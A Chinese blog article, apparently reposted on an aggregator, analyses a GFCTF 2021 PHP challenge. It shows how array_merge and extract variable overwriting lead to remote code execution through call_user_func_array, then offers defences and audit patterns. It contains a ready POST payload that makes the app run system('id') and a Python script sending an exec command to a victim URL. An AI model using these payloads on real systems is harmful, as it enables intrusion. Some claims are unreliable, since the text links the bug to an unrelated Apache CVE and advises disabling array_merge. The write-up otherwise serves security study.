当前位置: 首页 > news >正文

PHP代码审计实战:从extract与array_merge到RCE的3种变量覆盖链构造

PHP代码审计实战:从变量覆盖到RCE的完整攻击链剖析

1. 漏洞背景与核心原理

在PHP应用安全领域,变量覆盖漏洞常被开发者忽视,却可能引发严重后果。本次分析的案例源自GFCTF 2021的一道赛题,涉及CVE-2021-41773漏洞与PHP变量覆盖的巧妙结合,最终实现远程代码执行(RCE)。

漏洞链核心环节

  1. array_merge变量覆盖:通过用户可控数据覆盖类属性
  2. extract函数滥用:将数组元素转换为当前作用域变量
  3. 动态函数调用:利用call_user_func_array执行任意函数

典型攻击流程如下:

用户输入 → array_merge覆盖 → extract变量注入 → 模板路径控制 → 包含恶意文件 → call_user_func_array执行

2. 关键函数深度解析

2.1 array_merge的安全隐患

private $date = ['version'=>'1.0', 'img'=>'...']; public function __construct($data){ $this->date = array_merge($this->date, $data); }

风险点分析

  • $data包含与$this->date相同的键时,后者值会被覆盖
  • 未做输入过滤导致攻击者可控制类内部状态

对比测试

$default = ['key'=>'safe', 'admin'=>false]; $userInput = ['key'=>'hacked', 'admin'=>true]; // 危险操作 $result = array_merge($default, $userInput); // ['key'=>'hacked', 'admin'=>true]

2.2 extract的致命威胁

public function display($template, $space=''){ extract($this->date); // 将数组键值转为变量 $this->getTempName($template, $space); include($this->template); }

攻击面扩展

  • 通过控制$this->date可注入任意变量
  • 结合后续的include可能造成文件包含漏洞

安全建议:永远不要在包含用户输入的数组上使用extract(),如需类似功能,可使用EXTR_SKIP等安全模式

3. 完整攻击链构造

3.1 第一阶段:变量控制

攻击步骤

  1. 通过POST传入精心构造的数组:
    POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded template=index.html&space=admin&mod=恶意payload
  2. array_merge实现属性覆盖:
    $this->date = [ 'template' => 'index.html', 'space' => 'admin', 'mod' => '恶意payload' ];

3.2 第二阶段:流程劫持

// 原始安全路径 ./template/index.html → 安全页面 // 攻击者控制后 ./template/admin/index.html → 危险功能入口

路径跳转关键

if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); }

3.3 第三阶段:RCE实现

通过listdata方法的参数解析漏洞,构造特殊格式的输入:

mod=xxx action=function name=system param0=id

代码执行流程

  1. 参数解析为$system['action'] = 'function'
  2. 检查$param['name']是否为合法函数
  3. 通过call_user_func_array执行:
    call_user_func_array('system', ['id'])

4. 三种典型攻击场景对比

场景类型利用函数输入要求防御难度
直接函数调用call_user_func控制单个函数名★★☆☆☆
数组参数调用call_user_func_array控制函数名+参数数组★★★☆☆
文件包含+RCEinclude+动态函数需要多环节变量控制★★★★☆

实战payload示例

import requests TARGET = "http://victim.com/index.php" PAYLOAD = { 'template': 'index.html', 'space': 'admin', 'mod': 'action=function name=exec param0=ls' } response = requests.post(TARGET, data=PAYLOAD, params={'filename': 'test'}) print(response.text)

5. 系统化防御方案

5.1 代码层防护

危险函数禁用清单

// php.ini配置 disable_functions = extract, parse_str, array_merge

安全编码实践

// 安全的数组合并方式 public function safeMerge($default, $input) { return array_intersect_key( array_merge($default, $input), $default ); }

5.2 架构层防护

  1. 输入验证层

    class InputValidator { public static function cleanArray($data) { return array_filter($data, function($v, $k) { return is_scalar($v) && preg_match('/^[a-z_]+$/', $k); }, ARRAY_FILTER_USE_BOTH); } }
  2. 执行沙箱

    class SafeFunction { private static $allowed = ['htmlspecialchars', 'json_encode']; public static function call($name, $args) { if(in_array($name, self::$allowed)) { return call_user_func_array($name, $args); } throw new SecurityException("Function not allowed"); } }

6. 审计方法论进阶

6.1 变量跟踪技术

  1. 逆向追踪

    call_user_func_array ← $param['name'] ← $params数组 ← $_params字符串 ← $mod变量 ← extract注入
  2. 敏感函数清单

    • 变量操作:extract, parse_str, compact
    • 动态执行:eval, assert, call_user_func
    • 文件包含:include, require

6.2 自动化检测思路

正则匹配模式

/(extract|parse_str)\s*\(.*\$_/

静态分析规则示例

rule: unsafe_array_merge pattern: | array_merge\(.*\$(_(GET|POST|REQUEST|COOKIE)|argv) severity: HIGH message: "Unsafe array_merge with user input"

在实际项目中,我曾遇到类似案例:一个CMS系统的模板引擎因未过滤extract参数,导致攻击者通过Cookie注入覆盖了管理员校验变量。这提醒我们,安全审计必须关注数据在整个生命周期中的流动路径。

http://www.jsqmd.com/news/1149185/

相关文章:

  • 前端安全实战:CSP策略设计与HTTPS配置优化指南
  • 缠论技术分析插件:10分钟学会通达信高级走势识别
  • 三步构建基于Playwright MCP的跨浏览器自动化架构
  • STM32与TLA2518构建高精度数据采集系统
  • Unity SLG大地图核心框架:网格管理与AOI视野同步实战
  • 如何在TEASOFT中实现去抖动?
  • 少样本提示模板(FewShotPromptTemplate)
  • 立创EDA专业版工程迁移AD 24:3D封装库完整迁移与DRC规则重建指南
  • 从数学到代码:Python实现SM2椭圆曲线加密的底层逻辑拆解
  • .NET 9 Wasm桌面实战:C#上位机跨平台部署体积缩减90%的落地指南
  • WebView自动化测试实战:从Appium上下文切换到H5元素定位
  • HyperWorks 2026安装与许可证部署全指南
  • 解决CUE4Parse Oodle解压失败:DLL依赖与版本匹配全攻略
  • 锂电池组电压均衡方案与MP2672A应用详解
  • 2024河北GIS数据合集:省市区县乡镇边界+水系道路高校景点土壤高程共10类矢量与DEM
  • Java结合Playwright实现高效UI自动化测试:从环境搭建到CI/CD集成实战
  • 音乐生成模型评测:旋律连贯性、和声合理性与风格一致性
  • Appium+Pytest+Allure企业级APP自动化测试框架封装实战
  • MATLAB版固定步长LMS自适应滤波器实现(含可运行源码与效果可视化)
  • 3分钟上手Seraphine:英雄联盟智能助手如何让你的排位赛更轻松
  • WorkBuddy 使用教程:核心功能拆解 + 接入第三方 API 实战(以魔芋为例)
  • BetterNCM安装器:3分钟告别网易云插件安装烦恼的终极方案
  • 九大 AI 毕业论文写作工具横向测评,2026 毕业生学术创作优选指南
  • AutoCAD 2026 工程化部署指南:环境校验、静默安装与许可证合规配置
  • Playwright自动化测试网络超时排查:DNS、代理与资源加载优化指南
  • Android UI自动化测试实战指南:从工具原理到框架设计
  • 企业数字化服务选型避坑指南
  • STM32F767 RS485通信工程包:HAL库驱动+Keil可编译+Hex直烧+USMART调试
  • CentOS 8 最小化安装实战:3步配置阿里云yum源,解决AppStream错误
  • 天猫双十一美妆销售数据清洗与可视化实战包(含pandas处理+matplotlib图表生成)